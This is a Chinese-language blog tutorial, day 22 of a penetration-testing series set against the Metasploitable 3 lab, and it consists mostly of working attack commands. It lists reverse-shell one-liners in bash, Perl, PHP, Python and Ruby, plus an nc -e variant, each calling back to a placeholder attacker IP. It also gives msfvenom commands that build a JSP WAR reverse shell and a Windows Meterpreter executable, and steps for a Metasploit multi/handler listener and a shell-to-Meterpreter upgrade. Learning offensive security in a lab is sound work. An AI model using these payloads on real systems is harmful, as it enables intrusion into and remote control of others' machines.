iT邦幫忙

2021 iThome 鐵人賽

DAY 22
1
Security

資安這條路─系統化學習滲透測試系列 第 22

Day22 - 針對 Metasploitable 3 進行滲透測試(3) - Msfvenom 與 multi/handler

  • 分享至 

  • xImage
  •  

複習 Revershell:在受害主機啟動連線 shell,連接回攻擊主機(會預先監聽 port),

上一篇提到 shell 利用 -e 在連線的時候啟動 cmd.exe 或是 /bin/sh,也可以透過 bash、python、PHP。

bash Reverse shell
攻擊主機:nc -lvp 4444
受害主機:bash -i >& /dev/tcp/[攻擊機IP]/[攻擊機Port] 0>&1

Linux 系統將標準輸入、輸出分成三個:

  • 利用 bash -i 構造可互動式的連線
  • >& 標準輸出與標準錯誤輸出重新導向到透過 TCP 連線的目標
  • 最後 0>&1 將標準輸入重新導向到標準輸出,也就是將攻擊者傳來的指令,於受害者機進行執行

Perl Reverse shell
受害主機如果有安裝 Perl 可以執行以下的指令。

perl -e 'use Socket;$i="[攻擊機IP]";$p=[攻擊機Port];socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
  • -e 執行後面的指令

PHP Reverse shell
受害主機如果有安裝 PHP 可以執行以下的指令。

php -r '$sock=fsockopen("[攻擊機IP]",[攻擊機Port]);exec("/bin/sh -i <&3 >&3 2>&3");'

或是有 PHP 撰寫的網站後台,可執行 PHP 程式語言,可利用以下的 function。

$sock=fsockopen("[攻擊機IP]",[攻擊機Port]);exec("/bin/sh -i <&3 >&3 2>&3");

python Reverse shell
受害主機如果有 Python,也可以執行以下的指令。

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[攻擊機IP]",[攻擊機Port]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Ruby Reverse shell

  • 受害主機如果是 Linux,可執行以下的指令。
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[攻擊機 IP]","攻擊機port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
  • 受害主機如果是 Windows,可執行以下的指令。
ruby -rsocket -e 'c=TCPSocket.new("[攻擊機IP]","攻擊機port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

msfvenom

可以產生有用的 payload (.exe, .aspx, .war, .py)提供給攻擊者上傳到受害環境。

標準語法

msfvenom -p <PAYLOAD> <OPTIONS>

參數 說明
-p 指定 payload
-f 指定輸出格式
-o 指定輸出名稱
LHOST 指定攻擊主機的 IP
LPORT 指定攻擊主機的 port

payload 格式
<OS>/<arch>/<payload>

查看payloads
msfvenom --list payloads

製作 jsp WAR Reverse shell
WAR 只得是 Web Application Resource 或 Web application ARchive
也就是可以部屬在 Apache Tomcat 服務中的壓縮檔案

該 War 可建立 .jsp 檔案的 WAR,jsp 為 Java Server Pages,類似 .php 或 .asp。以程式語言 java 為後端的網站,透過 Apache Tomcat 伺服器軟體執行。

以下的指令是透過 msfvenom 產生一個 payload 是 java/jsp_shell_reverse_tcp 並指定攻擊機 IP 與 PORT,輸出檔案格式為 war,最後將產生的 binary 輸出於根目錄中的 tmp 資料夾,檔案名稱為 shell.war

msfvenom -p java/jsp_shell_reverse_tcp LHOST=[攻擊機IP] LPORT=[攻擊機PORT] -f war > /tmp/shell.war

Windows binary reverse shell
針對受害主機如果為 Windows 也可以透過以下指令以目標 x86 Winodws Payload 為 windows/meterpreter/reverse_tcp 並指定攻擊機 IP 與 PORT,輸出檔案格式為 exe,最後將產生的 binary 輸出於根目錄中的 tmp 資料夾,檔案名稱為 exploit.exe

msfvenom -a x86 –platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻擊機IP LPORT=攻擊機port -f exe -o /tmp/exploit.exe

要在攻擊主機開啟 msfconsole 監聽 port,以下為流程:
Metasploit 工具中的 multi/handler 模組,可以用來接收反彈的 shell ,比 netcat 和 socat 連線較穩定,通常用 use auxiliary/multi/handler 之後,進行額外的設定,如設定 PAYLOAD 、Listen IP、Listen port 等。

  1. msfconsole
    開啟 Metasploit
  2. use exploit/multi/handler
    利用模組 multi handler
  3. set payload windows/meterpreter/reverse_tcp
    設定所使用的 payload
  4. set lhost 攻擊機IP
    設定攻擊主機的 IP
  5. set lport 攻擊機port
    設定攻擊主機的 Port
  6. run
    進行監聽,當看到 [*] Started trverse TCP handler on 攻擊機IP:攻擊機port 表示已經開始監聽。
  7. 受害主機執行 exploit.exe
  8. 當看到 [*] Command shell session 1 opemed (攻擊機IP:攻擊機port -> 受害主機IP:隨機受害主機 port) at 2021-10-07 23:43:45 +0800 表示 Metasploit 已經收到來自受害主機的 Shell,此時可以執行指令。
  9. 如果返回的連線,於背景執行,也就是畫面出現msf exploir(handler)可執行以下的指令,確認目前正在背景執行的連線,稱為 job:
    • jobs
      查看目前正在背景執行的列表
    • jobs -K [job id]
      刪除指定 job
    • jobs -h
      jobs 的幫助清單

Bash to Meterpreter shell
如果受害目標使用 bash 進行反向 shell,我們一樣可以透過 Meterpreter。

攻擊主機設定 msfconsole,並進行監聽:

  1. msfconsole
    開啟 Metasploit
  2. use exploit/multi/handler
    利用模組 multi handler
  3. set payload linux/x86/shell_reverse_tcp
    設定所使用的 linux payload
  4. set lhost 攻擊機IP
    設定攻擊主機的 IP
  5. set lport 攻擊機port
    設定攻擊主機的 Port
  6. run
    進行監聽
  7. 受害主機,利用 bash 或是 nc:
    • bash:bash -i >& /dev/tcp/[攻擊機IP]/4444 0>&1
    • nc:nc [攻擊機IP] 4444 -e /bin/sh
  8. 如果 shell 沒有出現於背景執行,可使用【CTRL+Z】,會出現Background session 1? [y/N],此時輸入 y,讓目前連線在背景執行。也可以執行 background,要確認目前連線可透過剛剛提到的 jobs 確認。
  9. 透過 shell_to_meterpreter 升級,讓我們連線功能更多與更穩定。
    • 第一種方法:sessions -u [session id],優點在於自動執行模組內容,具體方法如二種方法。
    • 第二種方法:
      1. 設定工具 use post/multi/manage/shell_to_meterpreter
      2. 設定 session set session 1
      3. 執行升級 shell

查看 session 列表
sessions

跟指定的 session 互動
session -i [session ID]
`


上一篇
Day21 - 針對 Metasploitable 3 進行滲透測試(2) - Shell & Reverse Shell基礎知識
下一篇
Day23 - 針對 Metasploitable 3 進行滲透測試(4) - 認識 Metasploit
系列文
資安這條路─系統化學習滲透測試37
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言